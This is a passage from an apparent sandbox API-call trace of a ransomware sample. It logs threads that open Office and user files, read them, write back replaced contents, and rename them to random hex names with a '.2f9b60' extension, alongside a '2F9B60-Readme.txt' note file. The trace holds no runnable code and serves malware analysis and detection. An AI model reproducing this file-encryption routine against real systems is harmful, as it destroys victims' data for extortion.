BaseAddress=0x1ced76b0) returned 1 [0146.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42243dd0) returned 1 [0146.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422401c0) returned 1 [0146.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x42059880 [0146.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x42059100 [0146.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0146.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0146.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0146.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x1b7d3a20 [0146.347] SetFilePointerEx (in: hFile=0x1c7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.347] WriteFile (in: hFile=0x1c7c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x4006f950, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x4006f950*=0x122, lpOverlapped=0x0) returned 1 [0146.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0146.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0146.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0146.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f5b0 [0146.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0146.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0146.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0146.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0146.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1ced9010 [0146.385] sprintf (in: _Dest=0x1ced9010, _Format="%c%c" | out: _Dest="a6") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9012, _Format="%c%c" | out: _Dest="ae") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9014, _Format="%c%c" | out: _Dest="bc") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9016, _Format="%c%c" | out: _Dest="a6") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9018, _Format="%c%c" | out: _Dest="16") returned 2 [0146.385] sprintf (in: _Dest=0x1ced901a, _Format="%c%c" | out: _Dest="d1") returned 2 [0146.385] sprintf (in: _Dest=0x1ced901c, _Format="%c%c" | out: _Dest="7e") returned 2 [0146.385] sprintf (in: _Dest=0x1ced901e, _Format="%c%c" | out: _Dest="c2") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9020, _Format="%c%c" | out: _Dest="9e") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9022, _Format="%c%c" | out: _Dest="fb") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9024, _Format="%c%c" | out: _Dest="97") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9026, _Format="%c%c" | out: _Dest="a4") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9028, _Format="%c%c" | out: _Dest="7f") returned 2 [0146.385] sprintf (in: _Dest=0x1ced902a, _Format="%c%c" | out: _Dest="9c") returned 2 [0146.385] sprintf (in: _Dest=0x1ced902c, _Format="%c%c" | out: _Dest="3a") returned 2 [0146.385] sprintf (in: _Dest=0x1ced902e, _Format="%c%c" | out: _Dest="ac") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9030, _Format="%c%c" | out: _Dest="f6") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9032, _Format="%c%c" | out: _Dest="bc") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9034, _Format="%c%c" | out: _Dest="5c") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9036, _Format="%c%c" | out: _Dest="50") returned 2 [0146.385] sprintf (in: _Dest=0x1ced9038, _Format="%c%c" | out: _Dest="ef") returned 2 [0146.386] sprintf (in: _Dest=0x1ced903a, _Format="%c%c" | out: _Dest="37") returned 2 [0146.386] sprintf (in: _Dest=0x1ced903c, _Format="%c%c" | out: _Dest="6a") returned 2 [0146.386] sprintf (in: _Dest=0x1ced903e, _Format="%c%c" | out: _Dest="a0") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9040, _Format="%c%c" | out: _Dest="ae") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9042, _Format="%c%c" | out: _Dest="79") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9044, _Format="%c%c" | out: _Dest="8d") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9046, _Format="%c%c" | out: _Dest="cc") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9048, _Format="%c%c" | out: _Dest="b0") returned 2 [0146.386] sprintf (in: _Dest=0x1ced904a, _Format="%c%c" | out: _Dest="a7") returned 2 [0146.386] sprintf (in: _Dest=0x1ced904c, _Format="%c%c" | out: _Dest="14") returned 2 [0146.386] sprintf (in: _Dest=0x1ced904e, _Format="%c%c" | out: _Dest="0c") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9050, _Format="%c%c" | out: _Dest="31") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9052, _Format="%c%c" | out: _Dest="86") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9054, _Format="%c%c" | out: _Dest="2f") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9056, _Format="%c%c" | out: _Dest="db") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9058, _Format="%c%c" | out: _Dest="d5") returned 2 [0146.386] sprintf (in: _Dest=0x1ced905a, _Format="%c%c" | out: _Dest="55") returned 2 [0146.386] sprintf (in: _Dest=0x1ced905c, _Format="%c%c" | out: _Dest="b4") returned 2 [0146.386] sprintf (in: _Dest=0x1ced905e, _Format="%c%c" | out: _Dest="a3") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9060, _Format="%c%c" | out: _Dest="9f") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9062, _Format="%c%c" | out: _Dest="e2") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9064, _Format="%c%c" | out: _Dest="3f") returned 2 [0146.386] sprintf (in: _Dest=0x1ced9066, _Format="%c%c" | out: _Dest="f6") returned 2 [0146.387] sprintf (in: _Dest=0x1ced9068, _Format="%c%c" | out: _Dest="a6") returned 2 [0146.387] sprintf (in: _Dest=0x1ced906a, _Format="%c%c" | out: _Dest="7c") returned 2 [0146.387] sprintf (in: _Dest=0x1ced906c, _Format="%c%c" | out: _Dest="82") returned 2 [0146.387] sprintf (in: _Dest=0x1ced906e, _Format="%c%c" | out: _Dest="0c") returned 2 [0146.387] RtlInitAnsiString (in: DestinationString=0x4006f9c8, SourceString="a6aebca616d17ec29efb97a47f9c3aacf6bc5c50ef376aa0ae798dccb0a7140c31862fdbd555b4a39fe23ff6a67c820c" | out: DestinationString="a6aebca616d17ec29efb97a47f9c3aacf6bc5c50ef376aa0ae798dccb0a7140c31862fdbd555b4a39fe23ff6a67c820c") [0146.387] RtlAnsiStringToUnicodeString (in: DestinationString=0x4006f998, SourceString="a6aebca616d17ec29efb97a47f9c3aacf6bc5c50ef376aa0ae798dccb0a7140c31862fdbd555b4a39fe23ff6a67c820c", AllocateDestinationString=1 | out: DestinationString="a6aebca616d17ec29efb97a47f9c3aacf6bc5c50ef376aa0ae798dccb0a7140c31862fdbd555b4a39fe23ff6a67c820c") returned 0x0 [0146.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205eb40 [0146.387] RtlFreeAnsiString (AnsiString="a") [0146.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9010) returned 1 [0146.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0146.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0146.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0146.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0146.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b70) returned 1 [0146.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ba0) returned 1 [0146.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0146.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050cf50 [0146.389] wcscat (in: _Dest=0x2050cf50, _Source="a6aebca616d17ec29efb97a4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\a6aebca616d17ec29efb97a4") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\a6aebca616d17ec29efb97a4" [0146.389] wcscat (in: _Dest=0x2050cf50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\a6aebca616d17ec29efb97a4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\a6aebca616d17ec29efb97a4.2f9b60" [0146.390] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\a6aebca616d17ec29efb97a4.2f9b60", NtPathName=0x4006f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\a6aebca616d17ec29efb97a4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4205e590 [0146.390] NtSetInformationFile (FileHandle=0x1c7c, IoStatusBlock=0x4006fa10, FileInformation=0x4205e590, Length=0xbe, FileInformationClass=0xa) [0224.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e590) returned 1 [0224.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49850) returned 1 [0224.015] NtQueryInformationFile (in: FileHandle=0x1c7c, IoStatusBlock=0x4006f9d8, FileInformation=0x4006f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4006f9d8, FileInformation=0x4006f9e8) returned 0x0 [0224.015] NtSetInformationFile (FileHandle=0x1c7c, IoStatusBlock=0x4006f9d8, FileInformation=0x4006f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cf50) returned 1 [0225.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205eb40) returned 1 [0225.524] FlushFileBuffers (hFile=0x1c7c) returned 1 [0225.559] CloseHandle (hObject=0x1c7c) returned 1 [0226.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a5c40 [0226.044] wcscpy (in: _Dest=0x202a5c40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0226.044] wcscat (in: _Dest=0x202a5c40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0226.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0226.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5c40) returned 1 [0226.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508310) returned 1 Thread: id = 2258 os_tid = 0x1804 [0143.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk")) returned 0x20 [0146.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK", dwFileAttributes=0x20) returned 1 [0147.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) Thread: id = 2260 os_tid = 0x614 [0143.157] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url")) returned 0x20 [0143.158] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", dwFileAttributes=0x20) returned 1 [0148.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xab0 [0148.462] GetFileSizeEx (in: hFile=0xab0, lpFileSize=0x1e63fc40 | out: lpFileSize=0x1e63fc40*=236) returned 1 [0148.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0148.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0148.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0148.463] NtQuerySystemTime (in: CurrentTime=0x1e63fb00 | out: CurrentTime=0x1e63fb00*=132462177536830000) returned 0x0 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x292561cd [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x12fba430 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x37592a5f [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x5acc5b10 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x13977dee [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x638434b9 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x39fd627f [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x1db78835 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x642e8fcd [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0xb09b26a [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0xbbaae9e [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0xaa5683d [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x5eff3fa7 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x7f5d8861 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x55c30130 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0xe1f0c62 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x6df62c48 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x4f681a5d [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0xb4b4f2b [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x3f31803d [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x40313848 [0148.463] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x1484c76 [0148.464] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x114620a2 [0148.464] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x5be2e75 [0148.464] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x2067d4b4 [0148.464] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x7352bf1b [0148.464] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x429a0da7 [0148.464] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x33a3b7d2 [0148.464] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x5eca7feb [0148.464] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x4bbb6565 [0148.464] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x269c626e [0148.464] RtlRandomEx (in: Seed=0x1e63faf0 | out: Seed=0x1e63faf0) returned 0x1aad78e [0148.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0148.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869940 [0148.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ec0 [0148.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0148.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85faf0) returned 1 [0148.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0148.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0148.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869940 [0148.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0148.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0148.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce91e20 [0148.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42044990 [0148.539] ReadFile (in: hFile=0xab0, lpBuffer=0x1ce91e20, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x1e63faf0, lpOverlapped=0x0 | out: lpBuffer=0x1ce91e20*, lpNumberOfBytesRead=0x1e63faf0*=0xec, lpOverlapped=0x0) returned 1 [0148.540] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.540] WriteFile (hFile=0xab0, lpBuffer=0x42044990, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1e63faf4, lpOverlapped=0x0) [0206.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0e0 [0206.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0b0 [0206.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e0b0) returned 1 [0206.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42044990) returned 1 [0206.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce91e20) returned 1 [0206.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0206.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0206.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9fb70 [0206.820] SetFilePointerEx (in: hFile=0xab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0206.820] WriteFile (in: hFile=0xab0, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x1e63fc10, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x1e63fc10*=0x118, lpOverlapped=0x0) returned 1 [0209.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5ba70 [0209.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0209.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263320 [0209.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263320) returned 1 [0209.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263320 [0209.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260650 [0209.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261190 [0209.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261190) returned 1 [0209.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0209.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ba70) returned 1 [0209.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd9cd90 [0209.136] sprintf (in: _Dest=0x1cd9cd90, _Format="%c%c" | out: _Dest="a2") returned 2 [0209.136] sprintf (in: _Dest=0x1cd9cd92, _Format="%c%c" | out: _Dest="f2") returned 2 [0209.136] sprintf (in: _Dest=0x1cd9cd94, _Format="%c%c" | out: _Dest="e1") returned 2 [0209.136] sprintf (in: _Dest=0x1cd9cd96, _Format="%c%c" | out: _Dest="52") returned 2 [0209.136] sprintf (in: _Dest=0x1cd9cd98, _Format="%c%c" | out: _Dest="43") returned 2 [0209.136] sprintf (in: _Dest=0x1cd9cd9a, _Format="%c%c" | out: _Dest="c9") returned 2 [0209.136] sprintf (in: _Dest=0x1cd9cd9c, _Format="%c%c" | out: _Dest="bd") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cd9e, _Format="%c%c" | out: _Dest="f2") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cda0, _Format="%c%c" | out: _Dest="ba") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cda2, _Format="%c%c" | out: _Dest="c9") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cda4, _Format="%c%c" | out: _Dest="71") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cda6, _Format="%c%c" | out: _Dest="eb") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cda8, _Format="%c%c" | out: _Dest="37") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdaa, _Format="%c%c" | out: _Dest="1b") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdac, _Format="%c%c" | out: _Dest="03") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdae, _Format="%c%c" | out: _Dest="d0") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdb0, _Format="%c%c" | out: _Dest="e7") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdb2, _Format="%c%c" | out: _Dest="36") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdb4, _Format="%c%c" | out: _Dest="cb") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdb6, _Format="%c%c" | out: _Dest="09") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdb8, _Format="%c%c" | out: _Dest="41") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdba, _Format="%c%c" | out: _Dest="6c") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdbc, _Format="%c%c" | out: _Dest="89") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdbe, _Format="%c%c" | out: _Dest="75") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdc0, _Format="%c%c" | out: _Dest="30") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdc2, _Format="%c%c" | out: _Dest="dd") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdc4, _Format="%c%c" | out: _Dest="52") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdc6, _Format="%c%c" | out: _Dest="0f") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdc8, _Format="%c%c" | out: _Dest="6e") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdca, _Format="%c%c" | out: _Dest="83") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdcc, _Format="%c%c" | out: _Dest="91") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdce, _Format="%c%c" | out: _Dest="6f") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdd0, _Format="%c%c" | out: _Dest="fe") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdd2, _Format="%c%c" | out: _Dest="cb") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdd4, _Format="%c%c" | out: _Dest="a9") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdd6, _Format="%c%c" | out: _Dest="17") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdd8, _Format="%c%c" | out: _Dest="68") returned 2 [0209.137] sprintf (in: _Dest=0x1cd9cdda, _Format="%c%c" | out: _Dest="dd") returned 2 [0209.138] RtlInitAnsiString (in: DestinationString=0x1e63fc88, SourceString="a2f2e15243c9bdf2bac971eb371b03d0e736cb09416c897530dd520f6e83916ffecba91768dd" | out: DestinationString="a2f2e15243c9bdf2bac971eb371b03d0e736cb09416c897530dd520f6e83916ffecba91768dd") [0209.138] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e63fc58, SourceString="a2f2e15243c9bdf2bac971eb371b03d0e736cb09416c897530dd520f6e83916ffecba91768dd", AllocateDestinationString=1 | out: DestinationString="a2f2e15243c9bdf2bac971eb371b03d0e736cb09416c897530dd520f6e83916ffecba91768dd") returned 0x0 [0209.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce16500 [0209.138] wcscat (in: _Dest=0x431840c0, _Source="a2f2e15243c9bdf2bac" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\a2f2e15243c9bdf2bac") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\a2f2e15243c9bdf2bac" [0209.138] 